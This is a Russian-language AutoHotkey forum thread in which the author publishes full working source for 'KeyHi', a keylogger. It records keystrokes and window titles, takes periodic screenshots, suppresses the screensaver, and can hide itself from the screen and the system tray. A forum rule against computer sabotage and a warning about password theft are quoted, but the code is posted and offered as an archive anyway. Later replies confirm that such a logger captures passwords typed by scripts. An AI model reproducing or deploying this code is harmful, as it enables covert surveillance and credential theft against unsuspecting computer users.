Тема: AHK: KeyHi (Запись клавиш и скриншотов)
Набросал на досуге небольшой кейлоггер, используя код из разных тем, а также некоторые разработки ув. teadrinker.
Вот теперь думаю, стоит выкладывать или нет... Как думаете?
Вы не вошли. Пожалуйста, войдите или зарегистрируйтесь.
Страницы 1
Чтобы отправить ответ, вы должны войти или зарегистрироваться
Набросал на досуге небольшой кейлоггер, используя код из разных тем, а также некоторые разработки ув. teadrinker.
Вот теперь думаю, стоит выкладывать или нет... Как думаете?
Запрещается обсуждение способов осуществления любых форм компьютерного вредительства
Если этот скрипт позволяет украсть пароль, тогда нельзя выкладывать. Других препятствий не вижу.
Краткое описание:
Запись в лог нажатий клавиш/символов (отключаемо).
Открытие лога в браузере.
Сохранение скриншотов через определенный промежуток времени 1 мин - 24 ч. (отключаемо).
Выбор формата скриншотов (jpg, bmp, gif, png, tif) и качества (50% - 99%).
Отключение записи скриншотов при бездействии компьютера 1 ч. - 23 ч. (отключаемо).
Запись заголовков открываемых окон (отключаемо).
Отключение хранителя экрана (посылает через определенный интервал нажатия клавиши Alt).
Выключатель работы программы.
Скрытие программы с экрана и из трея.
Запоминание местоположения окна программы.
; -------------------------- Переменные
ini = config.ini
Title = KeyHi
OutDirectory := A_ScriptDir "\Screenshots"
OutDirectoryLog := A_ScriptDir "\Keys"
WinPeriod = 1000
extall = jpg|bmp|gif|png|tif
#include, KeysCode.ahk
IfNotExist %OutDirectory%
FileCreateDir %OutDirectory%
IfNotExist %OutDirectoryLog%
FileCreateDir %OutDirectoryLog%
; -------------------------- Чтение параметров
But1 := Надпись()
IniRead, On, %ini%, Параметры, On, 0
; -------------------------- Чтение параметров клавиатуры
IniRead, Keys, %ini%, Keys, Keys, 0
IniRead, Simvols, %ini%, Keys, Simvols, 0
; -------------------------- Чтение параметров скриншотов
IniRead, SaveScreen, %ini%, Screen, SaveScreen, 0
IniRead, Win, %ini%, Windows, Win, 0
IniRead, ext, %ini%, Screen, ext, jpg ; формат скриншотов
IniRead, Quality, %ini%, Screen, Качество, 70
IniRead, Period, %ini%, Screen, Период, 300000 ; 5 мин по умолчанию
IniRead, Period_Sl, %ini%, Screen, ПериодСлайдер, 5 ; для слайдера
Gosub Period
IniRead, OffPeriod_visual, %ini%, Screen, Период бездействия слайдер, 1
IniRead, OffPeriod, %ini%, Screen, Период бездействия, 3600000
IniRead, Бездействие, %ini%, Screen, Отключить при бездействии, 1
IniRead, Хранитель, %ini%, Screen, Отключить хранитель экрана, 0
Gosub ОтключитьХранитель
; ---------------------
If On = 1
{
If SaveScreen = 1
SetTimer, PrintScreen, %Period% ; вкл снятие скриншотов
If Keys = 1
SetTimer, Write, 100
If Win = 1
SetTimer, Windows, %WinPeriod%
}
; --------------------- Меню в трее
Menu, tray, Tip, %Title%
Menu, tray, NoStandard
menu, tray, add, Показать
menu, tray, Default, Показать
menu, tray, add
menu, tray, add, Справка
menu, tray, add, О программе..., О
menu, tray, add
menu, tray, add, Выход
Menu, Tray, Click, 1
; -------------------------- Gui скрыть/показать
Показать:
Gosub Расш ; определение Radio для включения
IfWinExist, %Title%
{
WriteSizeIni(ini)
Gui, Destroy
Return
}
; -------------------------- Чтение параметров окна программы
ReadSizeIni(ini)
; -------------------------- Gui
Gui, Add, GroupBox, Section w400 h86 Center, Клавиатура
Gui, Add, Checkbox, xp+8 yp+14 Checked%Keys% vKeys gСохранить, Записывать клавиши
Gui, Add, Checkbox, y+8 Checked%Simvols% vSimvols gСохранить, Записывать символы
Gui, Add, Button, y+8 gОткрытьЛог, Открыть лог
Gui, Add, GroupBox, xs w400 h162 Center, Скриншоты
Gui, Add, Checkbox, xs+8 yp+14 Checked%SaveScreen% vSaveScreen gСохранить, Сохранять скриншоты
Gui, Add, Text, y+8 w50, Формат:
Loop 5
Gui, Add, Radio, % Chec%A_Index% " gСохранить x+8", % ex%A_Index%
Gui, Add, Text, xs+8 y+10 w50, Качество:
Gui, Add, Slider, x+3 yp-5 w150 Center NoTicks Thick20 Range50-100 AltSubmit vQuality gСохранить, %Quality% ; качество изображений
Gui, Add, Text, x+5 yp+5 w50 vTQ, % Quality "%"
Gui, Add, Text, xs+8 y+12 w50, Период:
Gui, Add, Slider, x+3 yp-5 w150 Center NoTicks Thick20 Range1-107 AltSubmit vPeriod_Sl gСохранить, %Period_Sl% ; период между снимками
Gui, Add, Text, x+5 yp+5 w50, %Period_visual%
Gui, Add, Checkbox, xs+8 y+12 Checked%Бездействие% gСохранить vБездействие, Откл. при бездействии более
Gui, Add, Slider, x+5 yp-5 w150 Center NoTicks Thick20 Range1-23 AltSubmit vOffPeriod_visual gСохранить, %OffPeriod_visual% ; период между снимками
Gui, Add, Text, x+5 yp+5 w50, %OffPeriod_visual% ч.
Gui, Add, Button, xs+8 y+8 gОткрытьПапку, Открыть папку
Gui, Add, GroupBox, xs w400 h36 Center, Окна
Gui, Add, Checkbox, xp+8 yp+14 Checked%Win% vWin gСохранить, Записывать открываемые окна
Gui, Add, Checkbox, x10 y+18 Checked%Хранитель% gСохранить vХранитель, Отключить хранитель экрана
Gui, Add, Button, x10 y+10 w80 gВключить, %But1%
Gui, Add, Button, x+5 wp gСкрыть, Скрыть
Gui, Add, Button, x+5 wp gВыход, Закрыть
Gui, +AlwaysOnTop
Gui, Show, %Position%, %Title%
Return
^!SC01F:: ; отображение значка в трее
Gosub Показать
Menu, Tray, Icon
Return
; -------------------------- Запись в ini-файл
Сохранить:
Gui, Submit, NoHide
IniRead, On, %ini%, Параметры, On, 0
If A_GuiControl = Win ; --------------------------- Вкл/выкл запись открытых окон
{
IniWrite, %Win%, %ini%, Windows, Win
If On = 1
If Win = 1
SetTimer, Windows, %WinPeriod%
If Win = 0
SetTimer, Windows, off
}
If A_GuiControl = Keys ; --------------------------- Вкл/выкл запись клавиш
{
IniWrite, %Keys%, %ini%, Keys, Keys
If On = 1
If Keys = 1
SetTimer, Write, 100
If Keys = 0
SetTimer, Write, off
}
If A_GuiControl = Simvols ; --------------------------- Вкл/выкл запись символов
{
IniWrite, %Simvols%, %ini%, Keys, Simvols
}
If A_GuiControl = SaveScreen ; --------------------------- Вкл/выкл скриншоты
{
If SaveScreen = 0
SetTimer, PrintScreen, off ; выкл снятие скриншотов
If On = 1
If SaveScreen = 1
SetTimer, PrintScreen, %Period% ; вкл снятие скриншотов
IniWrite, %SaveScreen%, %ini%, Screen, SaveScreen
}
If A_GuiControl = Quality
{
IniWrite, %Quality%, %ini%, Screen, Качество ; Качество скриншота
ControlSetText, static3, % Quality "%"
}
If A_GuiControl = Period_Sl ; Период
{
Gosub Period
ControlSetText, static5, %Period_visual%, %Title%
}
If A_GuiControl = Бездействие ; Отключить при бездействии
IniWrite, %Бездействие%, %ini%, Screen, Отключить при бездействии
If A_GuiControl = OffPeriod_visual ; Период бездействия
{
ControlSetText, static6, %OffPeriod_visual% ч., %Title%
IniWrite, %OffPeriod_visual%, %ini%, Screen, Период бездействия слайдер
IniWrite, % OffPeriod_visual*3600000, %ini%, Screen, Период бездействия
}
If A_GuiControl = Хранитель ; Отключить хранитель экрана
{
Gosub ОтключитьХранитель
IniWrite, %Хранитель%, %ini%, Screen, Отключить хранитель экрана
}
If InStr(extall, A_GuiControl) > 0 ; Расширение файла скриншота
{
ext := A_GuiControl
IniWrite, %ext%, %ini%, Screen, ext
}
Return
; -------------------------- Включить/выкл программу
Включить:
If A_GuiControl = Включить
{
SetTimer, PrintScreen, %Period% ; вкл снятие скриншотов
Gosub ОтключитьХранитель ; вкл/откл хранитель экрана
If Keys = 1
SetTimer, Write, 100
If Win = 1
SetTimer, Windows, %WinPeriod%
IniWrite, 1, %ini%, Параметры, On
ControlSetText, Включить, Выключить
}
Else
{
IniWrite, 0, %ini%, Параметры, On
ControlSetText, Выключить, Включить
SetTimer, PrintScreen, off ; выкл снятие скриншотов
SetTimer, ПосылКлавиши, off ; отключить хранитель экрана
SetTimer, Windows, off ; отключить запись открываемых окон
SetTimer, Write, off
}
Return
; -------------------------- Выход
Выход:
WriteSizeIni(ini)
ExitApp
; --------------------------
#include, Function.ahk
#include, PrintScreen.ahk
#include, Keyboard.ahk
#include, MoveGUI.ahk
#include, Windows.ahk
#include, Help.ahk
All =
|SC001=[ESC]
|SC03B=[F1]
|SC03C=[F2]
|SC03D=[F3]
|SC03E=[F4]
|SC03F=[F5]
|SC040=[F6]
|SC041=[F7]
|SC042=[F8]
|SC043=[F9]
|SC044=[F10]
|SC057=[F11]
|SC058=[F12]
|SC00F=[Tab]
|SC03A=[Caps Lock]
|SC02A=[Shift]
|SC01D=[Ctrl]
|SC15B=[Left Windows]
|SC038=[Alt]
|SC039=[Space]
|SC138=[Right Alt]
|SC15C=[Right Windows]
|SC15D=[Application]
|SC11D=[Right Ctrl]
|SC136=[Right Shift]
|SC01C=[Enter]
|SC00E=[Backspace]
|SC137=[PrtScrn]
|SC046=[Scroll Lock]
|SC045=[Pause]
|SC152=[Insert]
|SC147=[Home]
|SC149=[Page Up]
|SC153=[Delete]
|SC14F=[End]
|SC151=[Page Down]
|SC145=[Num Lock]
|SC11C=[Num Enter]
|SC01C=[Enter]
|SC053=[Num Del]
|SC148=[Up]
|SC14B=[Left]
|SC150=[Down]
|SC14D=[Right] |
; --------------------- Чтение файла лога
ОткрытьЛог:
Log := OutDirectoryLog "\" A_YYYY A_MM A_DD "_log.txt"
LogHTML := OutDirectoryLog "\" A_YYYY A_MM A_DD ".html"
IfNotExist, %Log% ; если файл не существует, выходим
Return
IfExist, %LogHTML% ; если файл существует, удаляем
FileDelete, %LogHTML%
Loop, read, %Log%
{
if !A_LoopReadLine ; если строка пустая, пропускаем
Continue
RegExMatch(A_LoopReadLine, "\((.*)\|(.*)\|(.*)\)(.*)", tl) ; время/класс окна/заголовок окна/клавиши
; tx := ReText(tl4) ; для кодового текста
FileAppend, <h3><Font Color=Blue>%tl1% | %tl2%</font><BR>`n<h4> %tl4% `n, %LogHTML% ; формируем документ
}
Run %LogHTML% ; открыть документ в браузере
Return
; --------------------- Перебор символов в строке (для кодового текста)
ReText(txt)
{
Loop, parse, txt, ] ; сплит строки по символу ]
{
StringRight, Lang, A_LoopField, 1
If Lang not contains E,R ; проверка ошибки
Continue
RegExMatch(A_LoopField, "(.*)\[", sm) ; получаем код символа 02A
txtAll .= ReadFile(sm1, Lang) ; чтение из файла символов
}
Return txtAll
}
; -------------------------- Надпись кнопки
Надпись()
{
global ini
IniRead, OnOff, %ini%, Параметры, On, 0
Return OnOff = 0 ? "Включить" : "Выключить"
}
; -------------------------- Скрыть окно программы
Скрыть:
MsgBox, 262192, Внимание!, Программа будет скрыта. Для показа иконки в трее нажмите Ctrl+Alt+S
Menu, Tray, NoIcon
GuiClose:
; Gui, Submit, NoHide
WriteSizeIni(ini)
Gui, Destroy
Return
; --------------------------
ПосылКлавиши:
Send {Alt}
Return
; -------------------------- Открыть папку скриншотов
ОткрытьПапку:
Run %OutDirectory%
Return
; --------------------------
Расш: ; определение Radio для включения
IniRead, ext, %ini%, Screen, ext, jpg
StringSplit, ex, extall, |
Loop %ex0%
If ext = % ex%A_Index%
Chec%A_Index% = Checked1
Else
Chec%A_Index% =
Return
; --------------------------
ОтключитьХранитель:
If Хранитель = 1
SetTimer, ПосылКлавиши, 300000
Else
SetTimer, ПосылКлавиши, off
Return
; --------------------------
Period:
If Period_Sl Between 1 AND 59
{
Period_visual := Period_Sl " мин."
Period := Period_Sl*60000
}
Else
{
Period_visual := Floor(Period_Sl/2-29) " ч."
Period := Floor(Period_Sl/2-29)*3600000
}
IniWrite, %Period%, %ini%, Screen, Период
IniWrite, %Period_Sl%, %ini%, Screen, ПериодСлайдер
Return
ПереносСтроки()
{
global OutDirectoryLog, Log
n = 0 ; метка для определения пуст ли файл
WinGet, Active_Window_ID, ID, A ; получаем ID активного окна
WinGetTitle, TitleMy, ahk_id %Active_Window_ID%
WinGetClass, Class, ahk_id %Active_Window_ID%
Loop, read, %OutDirectoryLog%\%Log%
{
n := A_Index
LastStr := A_LoopReadLine
}
If LastStr not contains %Class%
{
FormatTime, DateTime,, yyyy.MM.dd. HH:mm
nn := n > 0 ? "`n" : "" ; определить надо ли переносить строку
FileAppend, %nn%(%A_Hour%:%A_Min%|%Class%|%TitleMy%), %OutDirectoryLog%\%Log%
}
}
Write:
Input, Key, B C L1 V,
ПереносСтроки()
Log := A_YYYY A_MM A_DD "_log.txt" ; имя лога
FileAppend, %Key%, %OutDirectoryLog%\%Log% ; запись символа в лог
; ToolTip, -%Key%-
Return
PrintScreen:
If Бездействие = 1
If A_TimeIdle > OffPeriod*3600000
Return
if !DllCall("GetModuleHandle", Str, "gdiplus")
DllCall("LoadLibrary", Str, "gdiplus")
VarSetCapacity(si, 16, 0), si := Chr(1)
DllCall("gdiplus\GdiplusStartup", "uint*", pToken, UInt, &si, UInt, 0)
Critical
OutFileName := A_Year A_MM A_DD "-" A_Hour A_Min A_Sec (HighSpeed ? "-" A_MSec : "")
CaptureScreen(0, OutDirectory "\" OutFileName "." ext, Quality, 0)
Return
CaptureScreen(aRect, sFile, nQuality, Cursor)
{
pBitmap := BitmapFromScreen(aRect, Cursor, 0x40000000 | 0x00CC0020)
SaveBitmapToFile(pBitmap, sFile, nQuality)
DllCall("gdiplus\GdipDisposeImage", UInt, pBitmap)
}
BitmapFromScreen(Screen, Cursor, Raster="")
{
if (Screen = 0)
{
Sysget, x, 76
Sysget, y, 77
Sysget, w, 78
Sysget, h, 79
}
else
{
StringSplit, S, Screen, |
x := S1, y := S2, w := S3, h := S4
}
chdc := DllCall("CreateCompatibleDC", UInt, 0)
VarSetCapacity(bi, 40, 0)
NumPut(w, bi, 4), NumPut(h, bi, 8), NumPut(40, bi, 0), NumPut(1, bi, 12, "ushort")
NumPut(0, bi, 16), NumPut(32, bi, 14, "ushort")
hbm := DllCall("CreateDIBSection"
, UInt , chdc, UInt , &bi, UInt , 0, "uint*", 0, UInt , 0, UInt , 0)
obm := DllCall("SelectObject", UInt, chdc, UInt, hbm)
hhdc := DllCall("GetDC", UInt, 0)
DllCall("gdi32\BitBlt", UInt, chdc, Int, 0, Int, 0, Int, w, Int, h
, UInt, hhdc, Int, x, Int, y, UInt, Raster)
DllCall("ReleaseDC", UInt, 0, UInt, hhdc)
DllCall("gdiplus\GdipCreateBitmapFromHBITMAP", UInt, hbm, UInt, 0, "uint*", pBitmap)
DllCall("SelectObject", UInt, chdc, UInt, obm)
DllCall("DeleteObject", UInt, hbm)
DllCall("DeleteDC", UInt, hhdc)
DllCall("DeleteDC", UInt, chdc)
return pBitmap
}
SaveBitmapToFile(pBitmap, sOutput, Quality=75)
{
SplitPath, sOutput,,, Extension
if Extension not in BMP,DIB,RLE,JPG,JPEG,JPE,JFIF,GIF,TIF,TIFF,PNG
return -1
Extension := "." Extension
DllCall("gdiplus\GdipGetImageEncodersSize", "uint*", nCount, "uint*", nSize)
VarSetCapacity(ci, nSize)
DllCall("gdiplus\GdipGetImageEncoders", UInt, nCount, UInt, nSize, UInt, &ci)
if !(nCount && nSize)
return -2
Loop, %nCount%
{
Location := NumGet(ci, 76*(A_Index-1)+44)
if !A_IsUnicode
{
nSize := DllCall("WideCharToMultiByte", UInt, 0, UInt, 0
, UInt, Location, Int, -1, UInt, 0, Int, 0, UInt, 0, UInt, 0)
VarSetCapacity(sString, nSize)
DllCall("WideCharToMultiByte", UInt, 0, UInt, 0, UInt, Location
, Int, -1, Str, sString, Int, nSize, UInt, 0, UInt, 0)
if !InStr(sString, "*" Extension)
continue
}
else
{
nSize := DllCall("WideCharToMultiByte", UInt, 0, UInt, 0
, UInt, Location, Int, -1, UInt, 0, Int, 0, UInt, 0, UInt, 0)
sString := ""
Loop, %nSize%
sString .= Chr(NumGet(Location+0, 2*(A_Index-1), "char"))
if !InStr(sString, "*" Extension)
continue
}
pCodec := &ci+76*(A_Index-1)
break
}
if !pCodec
return -3
if (Quality != 75)
{
Quality := (Quality < 0) ? 0 : (Quality > 100) ? 100 : Quality
if Extension in .JPG,.JPEG,.JPE,.JFIF
{
DllCall("gdiplus\GdipGetEncoderParameterListSize"
, UInt, pBitmap, UInt, pCodec, "uint*", nSize)
VarSetCapacity(EncoderParameters, nSize, 0)
DllCall("gdiplus\GdipGetEncoderParameterList", UInt, pBitmap
, UInt, pCodec, UInt, nSize, UInt, &EncoderParameters)
Loop, % NumGet(EncoderParameters) ;%
{
if (NumGet(EncoderParameters, (28*(A_Index-1))+20) = 1)
&& (NumGet(EncoderParameters, (28*(A_Index-1))+24) = 6)
{
p := (28*(A_Index-1))+&EncoderParameters
NumPut(Quality, NumGet(NumPut(4, NumPut(1, p+0)+20)))
break
}
}
}
}
if !A_IsUnicode
{
nSize := DllCall("MultiByteToWideChar"
, UInt, 0, UInt, 0, UInt, &sOutput, Int, -1, UInt, 0, Int, 0)
VarSetCapacity(wOutput, nSize*2)
DllCall("MultiByteToWideChar"
, UInt, 0, UInt, 0, UInt, &sOutput, Int, -1, UInt, &wOutput, Int, nSize)
VarSetCapacity(wOutput, -1)
if !VarSetCapacity(wOutput)
return -4
E := DllCall("gdiplus\GdipSaveImageToFile"
, UInt, pBitmap, UInt, &wOutput, UInt, pCodec, UInt, p ? p : 0)
}
else
E := DllCall("gdiplus\GdipSaveImageToFile"
, UInt, pBitmap, UInt, &sOutput, UInt, pCodec, UInt, p ? p : 0)
return E ? -5 : 0
}
*~SC001:: ; Esc
*~SC03B:: ; F1
*~SC03C:: ; F2
*~SC03D:: ; F3
*~SC03E:: ; F4
*~SC03F:: ; F5
*~SC040:: ; F6
*~SC041:: ; F7
*~SC042:: ; F8
*~SC043:: ; F9
*~SC044:: ; F10
*~SC057:: ; F11
*~SC058:: ; F12
*~SC00F:: ; Tab
*~SC02A:: ; Shift
*~SC01D:: ; Ctrl
*~SC15B:: ; Left Windows
*~SC038:: ; Alt
*~SC039:: ; Space
*~SC138:: ; Right Alt
*~SC15C:: ; Right Windows
*~SC15D:: ; Application
*~SC11D:: ; Right Ctrl
*~SC136:: ; RShift
*~SC01C:: ; Enter
*~SC00E:: ; Backspace
*~SC137:: ; Prnt ~SCrn
*~SC046:: ; ~SCroll Lock
*~SC045:: ; Pause
*~SC152:: ; Insert
*~SC147:: ; Home
*~SC149:: ; Page Up
*~SC153:: ; Delete
*~SC14F:: ; End
*~SC151:: ; Page Down
*~SC145:: ; Num Lock
*~SC11C:: ; Num Enter
*~SC053:: ; Num Del
*~SC148:: ; Up
*~SC14B:: ; Left
*~SC150:: ; Down
*~SC14D:: ; Right
Gosub WriteS
Return
WriteS: ; --------------------- Запись символов в файл
If On = 0 ; программа отключена
Return
If Simvols = 0 ; запись символов отключена
Return
; --------------------- Определение параметров
Log := A_YYYY A_MM A_DD "_log.txt" ; имя лога
ПереносСтроки()
StringReplace, SC, A_ThisHotKey, *~ ; удалить "*~" из кода символа
K := RegExMatch(All, ".*" SC "=(.*?)\s\|", Word)
FileAppend, %Word1%, %OutDirectoryLog%\%Log% ; запись символа в лог
Return
; --------------------- Чтение из файла символов (KeysCode.ini)
ReadFile(sm, Lang)
{
global All
d := RegExMatch(%Lang%, ".*SC" sm "=(.*?)\s\|", Word)
If d = 0
d := RegExMatch(All, ".*SC" sm "=(.*?)\s\|", Word)
Return Word1
}
*~SC03A:: ; CapsLock в системе
CapsOn := GetKeyState("Capslock", "P")
Return
WriteSizeIni(iniFile)
{
global Title
WinGetPos, x, y, Width, Height, %Title%
IniWrite, %x%, %iniFile%, WinPosition, x
IniWrite, %y%, %iniFile%, WinPosition, y
}
ReadSizeIni(iniFile)
{
global
IniRead, x, %iniFile%, WinPosition, x, 1
IniRead, y, %iniFile%, WinPosition, y, 1
x := x < 0 ? 1 : x
y := y < 0 ? 1 : y
Position := x = 1 ? "" : "x"x " y"y
Return Position
}
Windows:
WinGet, Active_Window_ID, ID, A ; получаем ID активного окна
WinGetTitle, TitleMy, ahk_id %Active_Window_ID%
WinGetClass, Class, ahk_id %Active_Window_ID%
n = 0 ; метка для определения пуст ли файл
Loop, read, %OutDirectoryLog%\%Log%
{
n := A_Index
LastStr := A_LoopReadLine
If A_LoopReadLine contains %A_Hour%:%A_Min%|%Class%|%TitleMy%
Return
}
If LastStr contains %Class%|%TitleMy%
Return
nn := n > 0 ? "`n" : "" ; определить надо ли переносить строку
Log := A_YYYY A_MM A_DD "_log.txt" ; имя лога
FileAppend, %nn%(%A_Hour%:%A_Min%|%Class%|%TitleMy%), %OutDirectoryLog%\%Log%
Return
; -------------------------- Справка
О:
MsgBox, 262208, KeyHi,
(
Программа предназначена для записи клавиш и скриншотов.
© 2013 Zohann
)
Return
Справка:
MsgBox, 262208, Справка,
(
Записывать клавиши - выключатель записи клавиш
Записывать символы - выключатель записи символов в лог
Открыть лог - открыть лог записи
Сохранять скриншоты - выключатель записи скриншотов
Формат jpg, bmp, gif, png, tif - формат сохраняемого скриншота
Качество - качество скриншота
Период - период через который будет производиться запись скриншота
Откл. при бездействии более - выключатель записи скриншотов после указанного времени простоя
Открыть папку - открыть папку скриншотов
Записывать открываемые окна - включение записи заголовков нового окна
Отключить хранитель экрана - отключает хранитель экрана (посылает через определенный интервал нажатия клавиши Alt)
Выключить/включить - выключатель работы программы
Скрыть - скрывает программу с экрана и из трея. Для отображения программы, нажмите Ctrl+Shift+S
)
Return
Файлы должны быть в кодировке ANSI
Исправил функцию в Function.ahk (некорректно определялось текущее расширение после обновления GUI)
Расш: ; определение Radio для включения
IniRead, ext, %ini%, Screen, ext, jpg
StringSplit, ex, extall, |
Loop %ex0%
If ext = % ex%A_Index%
Chec%A_Index% = Checked1
Else
Chec%A_Index% =
Return
Можете выложить одним файлом?
Могу, а что мешает скомпилировать?
Да просто копировать много текста. Выложите в архиве отдельными файлами.
Хорошо, вечером.
В шапке.
Производится запуск программки а окно не показывается....почему так7
ZIGGIPUIT Какой файл запускаете?
Запускаю файл KeyHI.exe. запускается и ничего не происходит, просто в трэе ярлык висит и все. можно справку и о программе посмотреть. окно проги не показывает.
Запускаю файл KeyHI.exe. запускается и ничего не происходит, просто в трэе ярлык висит и все. можно справку и о программе посмотреть. окно проги не показывает.
И у меня также. У меня Win XP
А у меня другой вопрос. Можно сказать прямо противоположный теме.
Допустим, я написал крохотный скрипт, который одним кликом вводит логин и пароль в какую нибудь форму ввода данных. Может ли обычный кейлоггер перехватить их?
Может.
Страницы 1
Чтобы отправить ответ, вы должны войти или зарегистрироваться